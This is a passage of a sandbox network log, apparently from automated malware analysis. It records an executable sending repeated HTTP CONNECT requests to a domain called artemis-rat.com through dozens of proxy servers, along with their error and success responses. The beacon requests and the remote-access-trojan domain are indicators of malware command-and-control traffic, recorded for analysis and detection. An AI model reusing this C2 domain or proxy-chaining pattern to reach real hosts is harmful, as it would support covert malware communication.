1480	192.168.2.5	53900	93.90.212.2	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.664257050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.5	54027	167.172.159.43	31306	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.664527893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.5	54087	104.16.109.207	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.664572954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.819835901 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.5	53985	186.124.164.213	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.664679050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.5	53998	212.31.100.138	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.665540934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.5	53987	190.14.32.209	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.665714979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.5	53904	109.194.22.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.665739059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.5	54005	58.75.126.235	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.670047998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.5	53872	102.132.50.6	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.673114061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.5	53966	58.20.248.139	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.673181057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.035546064 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.5	52584	194.4.50.132	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.677804947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.5	54118	43.134.237.216	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.681703091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.5	54004	193.239.56.84	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.681812048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.5	49884	103.35.189.217	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.682320118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.796971083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852313995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.921468973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.5	54120	43.134.237.216	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.684083939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.5	54122	43.134.237.216	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.687072039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.5	53530	197.157.254.162	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.691184044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.5	54035	58.221.193.74	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.692876101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.009315968 CET	348	IN	HTTP/1.1 404 Not Found Server: MyWebServer/3.6.20 Unicode (By TGY) Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html; Charset=GB2312 Content-Length: 154 Connection: Keep-Alive Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 3e 3c 68 33 3e 4d 79 57 65 62 53 65 72 76 65 72 2f 33 2e 36 2e 32 30 20 55 6e 69 63 6f 64 65 20 28 42 79 20 54 47 59 29 3c 2f 68 33 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1><hr><h3>MyWebServer/3.6.20 Unicode (By TGY)</h3></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.5	54049	20.37.207.8	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.693738937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.920250893 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.5	54025	167.172.86.46	10471	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.700043917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.5	52601	177.231.245.182	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.780405998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905128956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.997680902 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.5	54054	101.133.162.23	8899	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.780848026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.110888004 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.5	54072	79.110.202.131	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.784907103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.5	54082	43.129.228.46	7891	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.785907030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.5	53558	185.49.30.5	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.785907030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.5	54088	20.111.54.16	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.786412954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.079171896 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.5	54103	104.17.248.164	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.786811113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.941844940 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.5	54106	173.245.49.27	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.789776087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.944200993 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.5	52653	46.226.148.105	9352	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.790381908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.5	53585	103.215.139.32	6437	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.790534019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905128002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.998820066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.092715025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.5	49899	37.187.91.192	17605	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.790635109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.797219992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852313995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
